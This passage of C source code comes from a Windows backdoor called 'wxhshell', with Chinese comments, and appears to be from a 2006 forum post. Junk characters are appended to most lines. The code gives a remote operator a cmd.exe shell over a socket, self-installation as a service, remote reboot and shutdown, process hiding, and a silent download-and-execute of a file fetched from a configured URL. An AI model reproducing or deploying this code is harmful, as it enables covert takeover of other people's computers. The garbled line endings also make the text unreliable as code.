  Ol!ntNhXm  
  // 帮助 _%QhOY5tv"  
  case '?': { 6Fe34n]m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `r?7oxN  
    break; K4kMM*D  
  } ,G)r=$XU  
  // 安装 T#>7ub  
  case 'i': { ocs+d\  
    if(Install()) 1dK*y'rx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Z's@'*  
    else VNY%R,6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <>Hj ;q5p  
    break; (DI>5.x"  
    } 6'FdGS  
  // 卸载 M3q|l7|9  
  case 'r': { x)@G;nZ  
    if(Uninstall()) w!D|]LoE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55z]&5N  
    else 9Q"'" b*?z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >3Eo@J,?d  
    break; I"GB <oB  
    } ?"g!  
  // 显示 wxhshell 所在路径 @ta7"6p-i@  
  case 'p': { 13>0OKg`#  
    char svExeFile[MAX_PATH]; UeRj< \"Q  
    strcpy(svExeFile,"\n\r"); D|{jR~J)xK  
      strcat(svExeFile,ExeFile); HPZ}*m'  
        send(wsh,svExeFile,strlen(svExeFile),0); pej|!oX  
    break; 4T ~}  
    } 62zYRs\Y)X  
  // 重启 1u:< 25  
  case 'b': { =|Y,+/R?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }"|K(hq  
    if(Boot(REBOOT)) , 'u W*kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h D/*h*}T>  
    else { nR-YrR*k  
    closesocket(wsh); -X"p:=;j  
    ExitThread(0); 1]p ZrBh"E  
    } r4SXE\ G  
    break; #~ )IJ  
    } V{!J-nO  
  // 关机 *+#8mA(  
  case 'd': { ,=[?yJy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LA}S yt\F  
    if(Boot(SHUTDOWN)) 9@Jtaq>jf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hhcpp7cr'  
    else { BW$"`T@c6~  
    closesocket(wsh); (^Y~/  
    ExitThread(0); i uF*.hc,%  
    } IhVO@KJI  
    break; vwxXgk  
    } ?k(7 LX0j  
  // 获取shell ;;#qmGoE  
  case 's': { )% ~OH  
    CmdShell(wsh); a m|F?|1  
    closesocket(wsh); 73/P&hT  
    ExitThread(0); *Qg_F6y  
    break; >LOjV0K/  
  } pu2 tY7J a  
  // 退出 )mF5Vw"  
  case 'x': { @}}$zv6l,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;6>2"{NW  
    CloseIt(wsh); ]7Tkkw$  
    break; '/^qJ7eb  
    } 7+\+DujE$  
  // 离开 =4FXBPoQK  
  case 'q': { ;wz^gdh;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2#c<\s|C  
    closesocket(wsh); ww], y@da  
    WSACleanup(); R}*_~7r5  
    exit(1); 8Dj c c z  
    break; |#]@Z)xa  
        } X:vghOt?  
  } w5Y04J  
  } 7/I,HxXp!  
;V*l.gr'2  
  // 提示信息 < HVl(O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]~'5\58sP  
} (>nGQS]H  
  } w9< R#y[A  
3=aQG'B  
  return; Mygf T[_  
} jIC_[  
%C| n9*  
// shell模块句柄 '"SEw w  
int CmdShell(SOCKET sock) ,(EO'T[  
{ `p2+&&]S  
STARTUPINFO si; \hDlTp }  
ZeroMemory(&si,sizeof(si)); ChGYTn`X   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; au: fw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /_I]H  
PROCESS_INFORMATION ProcessInfo; UQ?XqgUM  
char cmdline[]="cmd"; Ya3C#=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (k5We!4[1  
  return 0; 0i!uUF  
} D1zBsi94D  
p@xf^[50k  
// 自身启动模式 }dgfqq  
int StartFromService(void) 4T|b Cs?e  
{ kmP]SO?tx  
typedef struct >=:&D)m"  
{ Yc_8r+;(  
  DWORD ExitStatus; (l^3Z3zf&  
  DWORD PebBaseAddress; ,,%i;  
  DWORD AffinityMask; ON=@ O  
  DWORD BasePriority; [q?<Qe  
  ULONG UniqueProcessId; RP[{4 Q8  
  ULONG InheritedFromUniqueProcessId; 47+&L   
}   PROCESS_BASIC_INFORMATION; JtYP E?  
IzikDc10  
PROCNTQSIP NtQueryInformationProcess; )dbB =OZ  
a{^m-fSaR"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gQWa24  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hYPl&^  
Pg,b-W?n*  
  HANDLE             hProcess; dJJP3} M/  
  PROCESS_BASIC_INFORMATION pbi; G_bG  
We$:&K0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E ~Sb  
  if(NULL == hInst ) return 0; ,?8qpEG~#+  
ORe(]I`Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /uPcXq:L~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l?Udn0F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vK|E>nL  
8@i7pBl@  
  if (!NtQueryInformationProcess) return 0; g!@<n1 L  
~.{/0T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DS+}UO  
  if(!hProcess) return 0; :ubV};  
4>F'oqFF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0m%|U'm|j  
KHe=O1 %QO  
  CloseHandle(hProcess); *X'Y$x>f  
adCU61t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `^u>9v-+'  
if(hProcess==NULL) return 0; *6sl   
$$|rrG  
HMODULE hMod; Cn'(<bl  
char procName[255]; *SU\ABcov  
unsigned long cbNeeded; U`R5'Tf;  
ZZ2vvtlyG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `Nz/O h7  
4r>6G/b8*  
  CloseHandle(hProcess); Dv|#u|iw  
@mOH"acGn?  
if(strstr(procName,"services")) return 1; // 以服务启动 k;K)xb[w|  
U 9_9l7&r  
  return 0; // 注册表启动 (D#B_`;-  
} Oft-w)cYz,  
ii[F]sR\  
// 主模块 qkt0**\  
int StartWxhshell(LPSTR lpCmdLine) = s>T;|  
{ Vq2y4D?  
  SOCKET wsl; HG^B#yX  
BOOL val=TRUE; u$DHVRrF<  
  int port=0; Wvbf"hq  
  struct sockaddr_in door; kpJ@M%46  
UtPLI al  
  if(wscfg.ws_autoins) Install(); !}YAdZJ  
x2OaPlG,&V  
port=atoi(lpCmdLine); N4^-`  
m? eiIrMW  
if(port<=0) port=wscfg.ws_port; q$I;dOCJ,  
5b*M*e&=C  
  WSADATA data; K{&mI/ ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nxUJN1b!N  
f!\lg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `|6'9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WKC.$[ T=  
  door.sin_family = AF_INET; /(u}KMR!f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /qMG=Z  
  door.sin_port = htons(port); "@%7-nu  
0H6(EzN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i!J8 d"  
closesocket(wsl); S=5<^o^h3  
return 1; ?u{~>  
} |v \_@09=  
/xsF90c\h  
  if(listen(wsl,2) == INVALID_SOCKET) { }+)fMZz  
closesocket(wsl); l==``  
return 1; Z>QF#."m  
} +AR5W(&  
  Wxhshell(wsl); ^N7e76VwR  
  WSACleanup(); AP68V  
x.7]/)  
return 0; ;XF:\<+  
cJ{ Nh;"  
} I;e=0!9U  
&ib5* 4!  
// 以NT服务方式启动 ,5i`-OI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `b Fff %_  
{ I KqQ>Z-q~  
DWORD   status = 0; H\h3 TdL  
  DWORD   specificError = 0xfffffff; < vL,*.zd  
1;C+$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =Q+;=-1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NG--6\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2;z b\d  
  serviceStatus.dwWin32ExitCode     = 0; A0o-:n Fu  
  serviceStatus.dwServiceSpecificExitCode = 0; ti5mIW\  
  serviceStatus.dwCheckPoint       = 0; 1Yq?X:  
  serviceStatus.dwWaitHint       = 0; 8B /\U'  
s8ywKTR-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LgKaPg$  
  if (hServiceStatusHandle==0) return; _Tf4WFu2  
\#f <!R4  
status = GetLastError(); UYk/v]ZA  
  if (status!=NO_ERROR) K?[q% W]%  
{ xDG2ws=@D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4i6q{BeHn  
    serviceStatus.dwCheckPoint       = 0; u$>4F|=T  
    serviceStatus.dwWaitHint       = 0; /RNIIY~w  
    serviceStatus.dwWin32ExitCode     = status; kW *f.!  
    serviceStatus.dwServiceSpecificExitCode = specificError; tQ8.f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dYG,_ji  
    return; gnFr}L&j  
  }  `7 vHt`  
:Pvzl1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gYNjzew'  
  serviceStatus.dwCheckPoint       = 0; 1$D_6U:H0  
  serviceStatus.dwWaitHint       = 0; 9`1O"R/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .LZwuJ^;  
} ).Fpgxs  
ySx>L uY#3  
// 处理NT服务事件,比如:启动、停止 8VeQ-#7M/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) isQ[ Gc!8  
{ v/](yT  
switch(fdwControl) [Yo,*,y31  
{ brW :C? }  
case SERVICE_CONTROL_STOP: d@ i}-;  
  serviceStatus.dwWin32ExitCode = 0; ?\vh9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'm4W}F  
  serviceStatus.dwCheckPoint   = 0; )Hpa}FGT  
  serviceStatus.dwWaitHint     = 0; Z)! qW?  
  { Ka[t75~;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QIB\AAclO  
  } wj,:"ESb4  
  return; _oHNkKQ  
case SERVICE_CONTROL_PAUSE: [#l*_0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MXw hxk#E  
  break; b6Wqr/  
case SERVICE_CONTROL_CONTINUE: byLft 1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;*Ivn@L  
  break; oE+R3[D?r  
case SERVICE_CONTROL_INTERROGATE: 2^y ^q2(r  
  break; <}E!w_yi  
}; pnjXf.g"O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4(|cG7>9-  
} ba[1wFmcL  
qHuZcht  
// 标准应用程序主函数 v-#Q7T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #pb92kA'  
{ %K>,xiD)  
}])oM|fgO  
// 获取操作系统版本 )\eI;8  
OsIsNt=GetOsVer(); %+j8["VEC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lBK}VU^  
:[O 8  
  // 从命令行安装 ()5[x.xK@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,quoRan  
L;*ljZ^c  
  // 下载执行文件 |.F$G<  
if(wscfg.ws_downexe) { \MbB#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eM$sv9?  
  WinExec(wscfg.ws_filenam,SW_HIDE); [Jogt#Fj ]  
} ?\t#1"d  
%/|9@er  
if(!OsIsNt) { W+PJZn  
// 如果时win9x,隐藏进程并且设置为注册表启动 HkO7R `  
HideProc(); kMb}1J0i"  
StartWxhshell(lpCmdLine); h-G)o[MA  
} _CmOd-y  
else vbb 5f#WZ  
  if(StartFromService()) Tw""}|] g  
  // 以服务方式启动 G&i!Hs  
  StartServiceCtrlDispatcher(DispatchTable); (#Wu# F1;  
else /W>iJfx  
  // 普通方式启动 $oj:e?8N  
  StartWxhshell(lpCmdLine); PmKeF}  
Bwa'`+bC  
return 0; KVn []@#  
}
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只看该作者 1 发表于: 2006-10-10
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